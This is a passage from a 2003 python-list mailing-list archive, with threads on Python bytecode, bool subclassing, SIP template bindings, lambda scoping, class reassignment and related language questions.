On Sat, 4 Jan 2003 11:22 am, corey wrote:
> Any links or suggestions would be great!

googled for "python PS2" - first link gets me to:

http://mail.python.org/pipermail/python-dev/2002-June/025503.html



    Richard





From nomad*** at ***freemail.absa.co.za  Sun Jan 12 15:39:54 2003
From: nomad*** at ***freemail.absa.co.za (Nomad)
Date: Sun, 12 Jan 2003 22:39:54 +0200
Subject: Laura's List - was Re: new years resolutions
References: <20030106212551.A19866@bob.sesgroup.com.au><200301061159.h06BxgjL029439@ratthing-b246.strakt.com> <mailman.1041981151.15754.python-list@python.org> <avhsvi$6vj$1@reader1.tiscali.nl>
Message-ID: <fs332vcoldc6hlsrqapg1nhmbdsj13oba8@4ax.com>

On Wed, 8 Jan 2003 20:06:12 +0100, "GerritM" <gmuller at worldonline.nl>
wrote:

>"Christopher A. Craig" <com-nospam at ccraig.org> schreef in bericht
>news:mailman.1041981151.15754.python-list at python.org...
><...snip..>
>> The first group would make arguments like "Why is the object oriented
>> programming class taught in SmallTalk?  Nobody uses SmallTalk, why
>> don't you teach it in Java?"  The second would make arguments like
>> "SmallTalk is one of the most pure OO languages available, Java is not
>> nearly as good for teaching OOD."
>>
>> I, along with most of the professors, was in the second group.  It
>> sounds like you are in the first.  For what it's worth, our professors
>> had no problem with informing people of trade schools in our area
>> where they could learn to program in Java or C++ or whatever, they
>> just refused to orient their curricula around current language trends.
>>
>> --
>> Christopher A. Craig <com-nospam at ccraig.org>
>> "Software hoarding is not a victimless crime." Richard Stallman
>>
>I would absolutely teach students multiple languages and stimulate them to
>understand advantages and disadvantages of different languages. A CS
>graduate should be able to program different languages and understand the
>trade-offs.
>
>regards Gerrit

I think the point is, if you can teach the pure theories of OO in
Smalltalk, then those theories, when understood, can be applied to
<your-language-of-choice>.

I've never done and CS at university level (I've been sorely tempted
to start again in CS, but I'm a biologist, and that's quite a leap),
but regardless, universities are about providing the understanding of
theories, processes, and the hows and whys of things.

Application of those is what happens in the "real world", but without
the understanding behind it, application is worth nothing, or worse
still, dangerous (e.g. what happens if I press this huge red button?)

-- 
Nomad

Wondering of the vast emptyness of the 'net
in search of something cool.



From martin at v.loewis.de  Thu Jan 23 12:31:13 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 23 Jan 2003 18:31:13 +0100
Subject: Compiled to bytecode like java?
In-Reply-To: <1YTX9.11024$AV4.1218@sccrnsc01>
References: <1YTX9.11024$AV4.1218@sccrnsc01>
Message-ID: <b0p8sv$qak$03$1@news.t-online.com>

Joel May wrote:
> * What would be downloaded to the device?  Would it be the actual source
> code, which the interpreter would then parse and run?  Or is it a byte-code
> like Java?  

Python executes byte code as well. Up-front compilation, like in Java, 
isn't needed; compilation happens on-the-fly. However, it is possible to 
only provide and execute the byte code.

> * How complex is the Python source code?  

What kind of metrics should one use to answer this question? Readers 
often comment that the Python source code is easy to understand and follow.

 > If I port it to an
> python-unsupported processor (a dsp), would I kill myself trying to get it
> to work?  

Probably not; Python has been used in embedded systems before.

 > How many lines of source code are we talking about here?

Depends on how much you need. Much of Python's source code is extension 
libraries that wrap some system functionality. The "bare" interpreter 
mostly lives in the Python subdirectories, although you should discount 
the various thread and dynload implementations.

Regards,
Martin




From aleax at aleax.it  Thu Jan 30 04:30:42 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 09:30:42 GMT
Subject: Update: KOBRA - .NET for Python
References: <4uJZ9.77775$6G4.11854@sccrnsc02> <8kmg3vobt33v5ivfhdn4r115029gtn5o8t@4ax.com> <FR3_9.86256$VU6.50446@rwcrnsc52.ops.asp.att.net> <hP4_9.20368$to3.26995@rwcrnsc51.ops.asp.att.net>
Message-ID: <6h6_9.140527$AA2.5793834@news2.tin.it>

Chetan Gadgil wrote:

> I could write a native bool type for python so that .NET can distinguish
> between ints and bools. (of course, there are more ways to do this e.g.
> wrap in a python instance etc.),

Python 2.3 has a built-in bool type (a subclass of int, but it's
easy to distinguish if you have to).


Alex




From dyoo at hkn.eecs.berkeley.edu  Fri Jan 10 03:02:52 2003
From: dyoo at hkn.eecs.berkeley.edu (Daniel Yoo)
Date: Fri, 10 Jan 2003 08:02:52 +0000 (UTC)
Subject: Having a __stdlib__ namespace?
References: <avl3bi$v9i$1@agate.berkeley.edu> <avliio$beo$0@216.39.172.122>
Message-ID: <avlunc$15h5$1@agate.berkeley.edu>



:>Would it be a good idea to have a '__stdlib__' module that magically
:>maps its attributes to only Standard Library modules?  It would act as
:>a namespace to guarantee access to the standard library, no matter how
:>weird the sys.path might get.


Bengt Richter <bokr at oz.net> wrote:

: I just did an experiment that I don't know all the ramifications of, so don't
: take this is anything but an expriment, but if you put a file called
: __init__.py with nothing in it (mine has two bytes: '\r\n') in the Lib
: directory, so the path to it looks something like 

:    D:\Python22\Lib\__init__.py
:
: (your installation location may vary)

Hi Bengt,

I didn't think about that one... cool!  You're right though: the one
problem I'd see about is that this would be platform specific, as
Python's libraries live in "lib/pythonX.X" on some Unix systems.

I still prefer to use a magic looking name, even if there were no real
magic involved, just so that it's easier to see that something unusual
is being done.  It also makes it that much harder for a user to go
ahead and mess this beautiful scheme up by using a package generically
named Lib... *grin*.

Andrew Bennetts suggested in email about using "std" as an easy name
to type.  I'd like to subvert his suggestion and propose "__std__".


A system like this would be useful because the names of modules in the
Standard Library are generic.  This is a Good Thing because they're
easy to remember.  This is a Bad Thing because programmers themselves
may often use generic names for their own modules.


Furthermore, Section 6.12 on the reference documentation says that the
system for importing provides no guarantees, that the import mechanism is
implementation dependent:

    http://www.python.org/doc/current/ref/import.html

It would be nice to have a well-defined, guaranteed way to get at the
Standard Library.


Thanks for the suggestions!



From tdelaney at avaya.com  Tue Jan 14 21:19:54 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Wed, 15 Jan 2003 13:19:54 +1100
Subject: Python23: cannot inherit from bool?
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A850@natasha.auslabs.avaya.com>

> From: franks at mcs.anl.gov [mailto:franks at mcs.anl.gov]
> 
> It seems that 2.3 doesn't allow you to inherit from bool:
> Could someone explain the reason for this restriction?

`bool` is a special class which is guaranteed to only ever have two
instances instantiated (a dualton if you will) - True and False.

Allowing `bool` to be subclassed would break this guarantee.

Tim Delaney




From EDB30 at msn.com  Fri Jan  3 18:59:39 2003
From: EDB30 at msn.com (Tupoi)
Date: Fri, 3 Jan 2003 18:59:39 -0500
Subject: practice programs
Message-ID: <3e1623e1$1_5@nopics.sjc>

any ideas for programms a begginer might try writing to help hone his skills





From bokr at oz.net  Wed Jan  8 19:16:27 2003
From: bokr at oz.net (Bengt Richter)
Date: 9 Jan 2003 00:16:27 GMT
Subject: Is it really good?
References: <mailman.1041979617.22059.python-list@python.org> <avfrvq$92m$0@216.39.172.122> <gg5p1vgh3qrt3g130npna34rfp6qci011b@4ax.com>
Message-ID: <avif0r$vhp$0@216.39.172.122>

On Wed, 08 Jan 2003 21:27:12 GMT, Manuel M. Garcia <mgarcia at cole-switches.com> wrote:

>On 8 Jan 2003 00:39:22 GMT, bokr at oz.net (Bengt Richter) wrote:
>(edit)
>>[16:38] C:\pywk\clp>ppcomp "2==3 is good"
>>Module(
>>  None,
>>  Stmt(
>>    [
>>      Discard(
>>        Compare(
>>          Const(
>>          | 2),
>>          [
>>            (
>>            | '==',
>>            | Const(
>>            |   3)),
>>            (
>>              'is',
>>              Name(
>>                'good'))]))]))
>
>What is 'ppcomp'? I can't find it as a module, and a search of my
>Python installation found nothing.
>
No, it's something I hacked together during a thread in mid December 2002.
You can get it at:

http://groups.google.com/groups?selm=atna62%241k0%240%40216.39.172.122&output=gplain

(my file date matches the post date, so I guess I haven't change it).

Regards,
Bengt Richter



From jbublitzNO at SPAMnwinternet.com  Thu Jan 16 15:49:54 2003
From: jbublitzNO at SPAMnwinternet.com (Jim)
Date: Thu, 16 Jan 2003 20:49:54 GMT
Subject: SIP Python bindings generator - nested templates
References: <b071bo$msc$1@naxos.belnet.be>
Message-ID: <3E271AB1.7030005@SPAMnwinternet.com>

Pakewak wrote:
> The SIP generator doesn't seem to allow nested template types. I have a 
> method called:

sip itself doesn't allow template types at all. You
have to hand write a %MappedType section in the .sip
file (or a separate file that you include).

> virtual plSMat<plSquareMatrix<double>,3> GetOrientationMatrix() const;

> Now I manually added the code for this function in the generated code, which 
> works, but this is not very convenient. Is there a work-around for SIP for 
> this problem?

Add a %MappedType section that specifies the
C/C++ code for converting to/from Python. There
are examples in PyQt or PyKDE, or see below.
(The examples are actually much simpler than
the explanation). The %MappedType code will
probably be identical to what you've already
written and inserted manually.

> I also searched for a directive (like %HeaderCode) that just copies the 
> enclosed code into the generated code without processing. There doesn't 
> seem to be one. Something like "%HeaderCode", but one which doesn't replace 
> the code at the top.

%C++Code -- for example (in some .sip file):

%C++Code
int someFunction (char * aString)
{
     return strlen (aString);
}
%End

int someFunction (char *); // generate the binding code
                            // for the C++ code.

I don't think that's what you want for your template
problem though. For this to work, you'd need to
hook it into the rest of the sip runtime framework,
and sip already knows how to do that. Here's the basic
scheme:

// in your sip files, you can either assign
// a new name to the template type, or just
// use it as the identifier - sip will accept
// the <'s and >'s as part of the identifier
%MappedType plSMat<plSquareMatrix<double>, 3>
{
%HeaderCode
#include <<the header for the template class>>
#include <<any other headers you need>>
// you can stick a typedef here if you want
// to create a new name for the template type
%End

%ConvertFromTypeCode

// sipCpp will contain a pointer to the template
// object. You want to take sipCpp and convert
// it into some PyObject(s) and return those
// at the end of this section. Since this is
// in C/C++, you have to use Py_BuildValue if
// you need to return more than a single Python
// object (returns a tuple - a list of Python
// objects is a single object though). sipCpp
// can be null too, so test for that.

%End

%ConvertToTypeCode

// sipPy will contain a pointer to the PyObject.
// Convert that to the corresponding C/C++
// object and set sipCppPtr to point to that.
// Return 1 on success or 0 on failure

%End
};

Think of sipCpp as a global void * and cast
it to the proper type in your code (but don't
declare it). sipPy is a PyObject *.

In the case of a nested template type, you'll
need to convert the inner type(s) to simpler
objects that the outermost type can contain/represent
in Python - either basic types or objects Python
knows about (from other bindings, for example).

Mapped types can't be instantiated as such - they're
replaced in your program by the corresponding (mapped
to) Python type. For example:

in some .sip file:

QList<int> someMethod (QList<int>);

%MappedType QList<int>
{
     ...

%ConvertFromTypeCode

     PyObject *list = PyList_New (0);

     if (sipCpp)
     {
         QList<int> *cppList = (QList<int> *)sipCpp;

         // convert here
     }

     return list; // empty if sipCpp == 0
%End

     ...

}

in Python:

list = [1, 2, 3]
newList = someMethod (list)

'someMethod' (in Python) would take and return a
Python list of int. QList<int>* and QList<int>&
will also be handled by sip correctly and
automatically - you write the code for QList<int>
in either case.

There will be sip docs and a tutorial coming in
the future -- hopefully some time this year. For
now, your best bet is the PyKDE mailing list:

http://mats.gmd.de/mailman/listinfo/pykde

or the PyQt and PyKDE source code.


Jim




From nobody at nowhere.com  Sun Jan 26 11:49:53 2003
From: nobody at nowhere.com (Grumfish)
Date: Sun, 26 Jan 2003 16:49:53 GMT
Subject: Learning to use threads.
In-Reply-To: <3E340C01.6C4E35B8@engcorp.com>
References: <0bFY9.9226$ZA1.2287565@twister.nyroc.rr.com> <mailman.1043539606.7602.python-list@python.org> <BtTY9.13607$7A4.2781037@twister.nyroc.rr.com> <3E340C01.6C4E35B8@engcorp.com>
Message-ID: <RkUY9.13768$7A4.2842016@twister.nyroc.rr.com>

Peter Hansen wrote:
> If, however, this custom method starts directly manipulating data
> in the thread object, you could quickly get into trouble if you
> don't know about thread synchronization issues.

What if the only thing the method changes in the thread object is a 
Queue. Is that safe?




From altis at semi-retired.com  Wed Jan 29 22:12:25 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Wed, 29 Jan 2003 19:12:25 -0800
Subject: ImportError: No module named _curses ?
References: <3E3861C4.8090609@web.de>
Message-ID: <oJ0_9.210$TG3.169677@news.uswest.net>

The curses module is not available on Windows, as you found out when you
tried to import it. The documentation should probably make that point.

http://www.python.org/doc/current/lib/module-curses.html

ka

"Ingo Linkweiler" <i.linkweiler at web.de> wrote in message
news:3E3861C4.8090609 at web.de...
> Hi,
>
> can you explain this import error?
>
> PythonWin 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on
win32.
>  >>> import curses
> Traceback (most recent call last):
>    File "<interactive input>", line 1, in ?
>    File "C:\Python22\lib\curses\__init__.py", line 15, in ?
>      from _curses import *
> ImportError: No module named _curses
>
>
>
> I am using Python with PythonWin (also tested all 2.2.* versions and
> Active Python on different machines with Win2K)
> I thought curses is included in the python distributions. What is missing?
>
> I only need some simple, but OS-independend functions like this
> c = readkey()
> clearscreen()
> Do you know any other module I can use?
>
> Ingo
>





From ods at strana.ru  Sun Jan  5 10:20:29 2003
From: ods at strana.ru (Denis S. Otkidach)
Date: Sun, 5 Jan 2003 18:20:29 +0300 (MSK)
Subject: lambda semantics in for loop
In-Reply-To: <m2wuljy9um.fsf@mycroft.actrix.gen.nz>
Message-ID: <Pine.LNX.4.44L.0301051808430.11999-100000@localhost.localdomain>

On 6 Jan 2003, Paul Foley wrote:

PF> > i inside lambda is a global variable.
PF>
PF> No it isn't.  Python has lexical scoping now, doesn't it?!

Global scope is nested too, of cause.  The term doesn't matter
here, since the same rule applies to any nested scope:

>>> def f():
...     l = []
...     for i in range(10):
...         l.append(lambda x: x+i)
...     return l
...
>>> l = f()
>>> l[0](0)
9

Python keeps reference to _scope_ where i (in lambda) was
defined, not to current value of i.  But object i refere to is
new for each step of loop:

>>> for i in range(10):
...     print id(i)
...
135289180
135289216
135289192
135289132
135289120
135289108
135289096
135289060
135289084
135289072

And here is working example with nested scopes:

>>> l = []
>>> def factory(i):
...     return lambda x: x+i
...
>>> for i in range(10):
...     l.append(factory(i))
...
>>> l[0](0)
0

PF> [There's only one binding for i, though; that's the problem.

No, that's not true: the object i is bound to changes, as you can
see from example above.

PF> Iteration isn't the same as recursion!]

-- 
Denis S. Otkidach
http://www.python.ru/      [ru]





From buzzard at urubu.freeserve.co.uk  Mon Jan 27 19:53:25 2003
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Tue, 28 Jan 2003 00:53:25 -0000
Subject: Please Recommend a C compiler for use with Python.
References: <3E35513E.6D5CE8B5@lvcm.com> <XxiZ9.28233$Vh.26202@news2.central.cox.net> <3E35CB1C.9104C88A@lvcm.com>
Message-ID: <b14kc6$us$1@news6.svr.pol.co.uk>

I use lcc for general C stuff.  But whether or not that's suitable for your
needs I don't know.  Maybe someone else could advise (us both).

Duncan





From nav at adams.patriot.net  Tue Jan 28 10:17:45 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 28 Jan 2003 10:17:45 -0500
Subject: Please Recommend a C compiler for use with Python.
References: <3E35513E.6D5CE8B5@lvcm.com> <XxiZ9.28233$Vh.26202@news2.central.cox.net>
Message-ID: <yyyfzrdmhgm.fsf@adams.patriot.net>

"David M. Cook" <davecook at nowhere.net> writes:

> You mean your OS didn't come with a compiler?!  Shocking!

We used to say, "Real OSes come with a compiler."

Then Sun released Solaris and we had to mumble, "Most real OSes come
with a compiler."

Then we tried to use Solaris for real work, and went back to the
original slogan.

Nick

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From tjreedy at udel.edu  Thu Jan  2 15:53:29 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 2 Jan 2003 15:53:29 -0500
Subject: Downcast (I know it sounds silly, but ...)
References: <cX0R9.72667$Ou4.2409063@twister2.libero.it>
Message-ID: <TsmdnUL70tedPomjXTWcqg@comcast.com>

"Rocco Rossi" <rockrossi69 at libero.it> wrote in message
news:cX0R9.72667$Ou4.2409063 at twister2.libero.it...
> I was wondering if it is possible in Python to do something
analogous to
> downcasting in a statically typed language like C++. I mean is it
possible
> to take an instance of a base class and magically transform it into
an
> instance of some derived class eventually fixing things (like the
missing
> attribute data)?

Maybe.  If you can modify __class__ to the derived class, yes.  If you
cannot, no.
You can only do so with new-style classes if the layouts are
'compatible' -- but I do not know the rules for what is.

With 2.2.1:
>>> class C: pass
...
>>> class CC(C): pass
...
>>> c = C()
>>> c.__class__
<class __main__.C at 0x00794ED0>
>>> c.__class__ = CC
>>> c.__class__
<class __main__.CC at 0x007940A0>

>>> class N(object): pass
...
>>> n = object()
>>> n.__class__
<type 'object'>
>>> n.__class__ = N
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: __class__ assignment: 'N' object layout differs from
'object'
>>> class NN(N): pass
...
>>> n=N()
>>> n.__class__
<class '__main__.N'>
>>> N.__class__ = NN
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: __class__ assignment: 'NN' object layout differs from
'type'





From mhammond at skippinet.com.au  Mon Jan  6 17:50:56 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Mon, 06 Jan 2003 22:50:56 GMT
Subject: COM/win32all QueryInterface
In-Reply-To: <382bfff5.0301052354.345f1cd1@posting.google.com>
References: <382bfff5.0301052354.345f1cd1@posting.google.com>
Message-ID: <kLnS9.8761$oS1.39046@news-server.bigpond.net.au>

Ellers wrote:
> actualObject = unk.QueryInterface( mod.MyConcreteClass.CLSID,
> pythoncom.IID_IDispatch )
> 
> print "Actual:", actualObject 
> # prints something like <PyIDispatch at 0xcd39e4 with obj at 0x1492bc>

Pass this to win32com.client.Dispatch(), and you get a friendly wrapper 
around the IDispatch object, which allows you to call IDispatch 
implemented methods.

Mark.




From pyth at devel.trillke.net  Fri Jan 31 12:37:04 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Fri, 31 Jan 2003 18:37:04 +0100
Subject: Implicit lists
In-Reply-To: <b1e7am$s3q$1@main.gmane.org>; from donnalcwalter@yahoo.com on Fri, Jan 31, 2003 at 10:14:55AM -0600
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <b1e7am$s3q$1@main.gmane.org>
Message-ID: <20030131183704.F10804@prim.han.de>

Donnal Walter wrote:
> 
> "Alex Martelli" wrote:
> > Dale Strickland-Clark wrote:
> >
> > > In many places, often small utility functions, I find myself using the
> > > form:
> > >
> > > lst = maybeAnArg
> > > if type(lst) not in (list, tuple)
> > >     lst = [lst]
> > > for x in lst:
> > >     whatever
> > >
> > > or
> > >
> > > lst = maybeAnArg
> > > if type(lst) not in (list, tuple)
> > >     lst = [lst]
> > > mangle = [x for x in lst if whatever]
> > >
> > >
> > > In other words, I want to be able to treat an argument of arbitrary
> > > type as a list of 1 if it isn't already a list.
> > >
> > > Has anyone got a neater way of doing this?
> >
> > Sure:
> >
> > for x in aslist(list):
> >     whatever(x)
> >
> >
> > How aslist is written is obviously quite secondary (at least,
> > I _hope_ that's obvious...) -- all of its USES will be just as
> > neat as the above example.
> > ...
> 
> I have followed this thread with interest because I need the same kind of
> functionality. The iteron definition using generators doesn't really work
> for me for some reason. (I confess I don't fully understand generators.) I
> would settle for a function aslist that would meet the following unit tests:
> 
> class MyObject(object): pass
> 
> class test_aslist(unittest.TestCase):
> 
>     def test_string(self):
>         x = 'spam'            # arg
>         y = aslist(x)         # test function
>         z = [x]               # target
>         self.assertEquals(y, z)
> 
>     def test_tuple(self):
>         x = ('spam', 'eggs')  # arg
>         y = aslist(x)         # test function
>         z = ['spam', 'eggs']  # target
>         self.assertEquals(y, z)
> 
>     def test_list(self):
>         x = ['spam', 'eggs']  # arg
>         y = aslist(x)         # test function
>         z = x                 # target
>         self.assertEquals(y, z)
> 
>     def test_instance(self):
>         x = MyObject()        # arg
>         y = aslist(x)         # test function
>         z = [x]               # target
>         self.assertEquals(y, z)
> 
> if __name__ == '__main__':
>     unittest.main()

that's a nice approach to ask for coding. Here is
one possibility to satisfy the four tests.

def _isatom(arg):
    if isinstance(arg, (str, unicode)):
        return 1

def aslist(arg, isatom=_isatom):
    if not isatom(arg):
        try:
            return list(arg)
        except TypeError:
            pass
    return [arg]

You can also pass in an Martellian 'isstringlike'
check to determine 'atomicity'.  See earlier posts.

regards,

    holger




From bokr at oz.net  Mon Jan 13 00:16:35 2003
From: bokr at oz.net (Bengt Richter)
Date: 13 Jan 2003 05:16:35 GMT
Subject: Strange urllib and httplib problem
References: <mailman.1042432944.17926.python-list@python.org>
Message-ID: <avti3j$2v5$0@216.39.172.122>

On Sun, 12 Jan 2003 23:41:34 -0500 (EST), Jesse Lawrence <lawrence_jesse at yahoo.ca> wrote:

>I'm trying to code something with either urllib or
>httplib.  No matter what I try, when I run my scripts,
>it  says the following:
>
>Enter an address:
>
>Just to try it, I enter an address, and then I get an
>error message telling my that it can't import name
>urlsplit.
>
>Now, I haven't coded anything about entering an
>address in my script.  Can someone help me figure this
>out?
>
>Thanks a million,
>
Instead of entering an address, hit Ctrl-C and the traceback should
tell you where in the code it was.

Post some minimal code and the log of trying it, including traceback
(copied and pasted, not paraphrased ;-) if that doesn't tell you enough.

Regards,
Bengt Richter



From aleax at aleax.it  Wed Jan 29 06:06:30 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 11:06:30 GMT
Subject: Fileupload over CGI simulate
References: <3E373968.9020804@informatik.tu-chemnitz.de>
Message-ID: <WAOZ9.134173$AA2.5578329@news2.tin.it>

Marian F?rster wrote:

> I want to do a fileupload to a cgi over python, not over the browser.
> 
> Are there an example??

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146306


Alex




From imbosol at vt.edu  Sat Jan 18 14:39:51 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sat, 18 Jan 2003 19:39:51 GMT
Subject: isinstance is broken
References: <2259b0e2.0301180850.7421e446@posting.google.com>
Message-ID: <b4iW9.2826$e34.1184@nwrddc04.gnilink.net>

Michele Simionato wrote:
> There are inconsistencies in "isinstance".
> 
> Example 1:
> 
>>>> isinstance(int,object)
> 1
> 
> gives no error message. I don't like it, an error should be
> raised. There is issubclass for that job:

Even if it were wrong--why should it raise an error?  If int were not
an instance of object, then it should just return 0 (or False).


>>>> issubclass(int,object)
> 1

int is both a subclass and an instance of object.

For A to be an instance of B, then B has to be either type(A), or any
base class of type(A).

int's type is type.
object is a base class of type.
Therefore, int is an instance of object.

It's called inheritance.  It's just like C++ and other typical OO
languages: if an object is an instance of a class, it is also an
instance of that class's bases.


> Should I interpret the fact that isinstance(something,object) always returns
> true as a bug or is it intentional ?

Neither.  It's the right behavior.  (I don't think it's manifestly
true, BTW.  I think a C extension could create an object that is not
an instance of object, in which case isinstance(something,object)
would return false.  Someone might want to verify.)


-- 
CARL BANKS



From max at alcyone.com  Tue Jan  7 21:38:30 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 07 Jan 2003 18:38:30 -0800
Subject: Truth in dating (was: HELP! Must choose language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041399123.31276.python-list@python.org> <v1gdaicshqmr47@corp.supernews.com> <mailman.1041812790.32002.python-list@python.org> <3E18E6F8.8C5BFEEA@alcyone.com> <yyyznqecqch.fsf@adams.patriot.net> <3E1A552E.176B6FC3@alcyone.com> <yyyr8bp5abr.fsf@adams.patriot.net>
Message-ID: <3E1B8F26.2ABA02D4@alcyone.com>

Nick Vargish wrote:

> At the time OO was being introduced to Perl, I was making my living
> doing brutal things to corporate data with Perl and quite enjoying
> it. The OO stuff made me lose any interest I had in going further with
> Perl; in my opinion, it should have stayed a uber-sripting language,
> and left complex and/or large-scale development to other languages.

As I mentioned, I've used it, and I've used the object oriented
facilities.  They "work," but they left a seriously bad taste in my
mouth, even before I knew and grew to enjoy Python.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nobody can reach me, nobody can touch me; it's a wonderful feeling.
\__/ Aaliyah
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From johnroth at ameritech.net  Fri Jan  3 21:12:31 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 3 Jan 2003 21:12:31 -0500
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
Message-ID: <v1cgnpsb83kafe@news.supernews.com>

"David Mertz" <mertz at gnosis.cx> wrote in message
news:mailman.1041492423.21345.python-list at python.org...
> I've got to thinking about multimethods/multiple dispatch lately.  I
> wonder if Pythonistas have some futher opinions on the use of these.
> Actually, part of it is that I'd -really- like to better understand
use
> cases for multiple dispatch.  As a trick, I can see it has a certain
> elegance, but little rock/paper/scissors toys are not, finally,
> compelling.

If I understand what you're talking about, multiple dispatch is
simply another name for method overloading - or is it?

The only use cases I've seen that are at all compelling for
method overloading fall into the pattern of eliminating
type tests on parameters - that is, let the compiler figure
out what method to invoke based on the parameter types.

In statically typed languages, I've seen any number of applications
of that, and properly used, they make programs much easier to
read than either having to create special names for the different
methods, or having to put a nest of type tests and special case
code in one method.

As far as arcane discussions of exactly how to mix this
with multiple inheritance hierarchies, I'm all in favor of the old
"parenthesis rule:" when there's any possible doubt about the
precedence, add parenthesis. If I have to think about the class
hierarchy to figure out what method overloading is going to do
in a particular case, I don't want to do it. Maintainable code is
blatently obvious code.

John Roth







From Mongryong at sympatico.ca  Wed Jan 22 23:35:36 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 22 Jan 2003 23:35:36 -0500
Subject: Sub-interpreter Encoding Bug
Message-ID: <1043296536.1513.93.camel@refugeeMedia>

Can some Python Guru verify this:

When a sub-interpreter is created, a new module dictionary is created
which no longer includes a pointer to the 'encodings' module although
internally Python may say it exists (via a global variable).  This is
really a bug in Python.

I've tried looking at the CVS Bug Tracker and have not found any record
of this a bug.

There's a very good chance that this is the bug causing encoding
problems with embedded python apps and modules such as mod_python.







From max at alcyone.com  Thu Jan 30 22:29:20 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 19:29:20 -0800
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <UgOZ9.314$XU5.188@news-binary.blueyonder.co.uk> <4V1_9.3850$wd2.304935@newsread2.prod.itd.earthlink.net> <vF2_9.1077$7S2.519@news-binary.blueyonder.co.uk> <tJ5_9.4299$wd2.324183@newsread2.prod.itd.earthlink.net> <fp6_9.1792$7S2.660@news-binary.blueyonder.co.uk> <NUg_9.5376$Wu1.410501@newsread1.prod.itd.earthlink.net>
Message-ID: <3E39ED90.906FBD20@alcyone.com>

Brandon Van Every wrote:

> Yes... my problems right now are all 3D math problems, and need to get
> solved by 3D math first principles.

It's highly (and I stress _highly_) unlikely that "all" your problems
are ones that have not been solved by someone else in the entire history
of mathematics.  Whether you think there's value in finding solutions
yourself is a side point; you almost certainly are reinventing the wheel
to some degree.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The only way to get rid of a temptation is to yield to it.
\__/ Oscar Wilde
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From jepler at unpythonic.net  Tue Jan 21 17:41:39 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Tue, 21 Jan 2003 16:41:39 -0600
Subject: Partial string formatting?
In-Reply-To: <66sq2vse53j5je4eolfufptl5c42g6o1b9@4ax.com>
References: <66sq2vse53j5je4eolfufptl5c42g6o1b9@4ax.com>
Message-ID: <20030121164139.A1250@unpythonic.net>

I'd like to mention one more potential problem with this "partial
formatting" idea.  It seems that you wish to take a string through
multiple formatting steps.  But what about the following format string?
    "%(item)s is %(frac)d%% as hard as glass."
after the first formatting step, it might look like this:
    "%(item)s is 37% as hard as glass."
but when you format again, you'll get an error, because "% " is not a
proper format specifier.

You can run into a variation of this problem if the formatted thing
contains a %.  For instance:
    "The symbol '%(sym)s' is spelled out as '%(word)s'."
becoming
    "The symbol '%' is spelled out as '%(word)s'."

I think this question must be addressed if your goal is truly to do
incremental formatting.  For instance, you might use a wrapper class (or
string subclass) so that the % operator updates an internal dict, and the
__str__ method returns the string formatted with the current internal dict:

(Note that my earlier 'format' function doesn't work in the presence of
'%%', either.  The __str__ method of IncrementallyFormattedString seems to,
though.  It still won't properly handle other weird stuff, such as the
legal-but-unlikely '%(%)s')

Jeff

class IncrementallyFormattedString:
    def __init__(self, s, d={}):
	self.s = s
	self.d = d.copy()

    def __str__(self):
	s = self.s
	d = self.d
	i = s.find("%")
	out = [s[:i]]
	while 1:
	    if s[i:i+2] == "%%":
		out.append("%")
		i=i+2
		continue
	    j = s.find("%", i+1)
	    if j == -1:
		try:
		    out.append(s[i:] % d)
		except KeyError:
		    out.append(s[i:])
		break
	    #print "__str__", i, j, s[i:j]
	    try:
		out.append(s[i:j] % d)
	    except KeyError:
		out.append(s[i:j])
	    i = j
	return "".join(out)


    def __mod__(self, d):
	d = d.copy()
	d.update(self.d)
	return IncrementallyFormattedString(self.s, d)

I = IncrementallyFormattedString

s = I("%(item)s is %(frac)d%% as hard as glass.")
s = s % {'frac': 37}
print s
s = s % {'item': 'Spam'}
print s

s = I("The symbol '%(sym)s' is spelled out as '%(word)s'.")
s = s % {'sym': '%'}
print s
s = s % {'word': 'percent'}
print s




From mgarcia at cole-switches.com  Thu Jan 16 14:08:07 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Thu, 16 Jan 2003 19:08:07 GMT
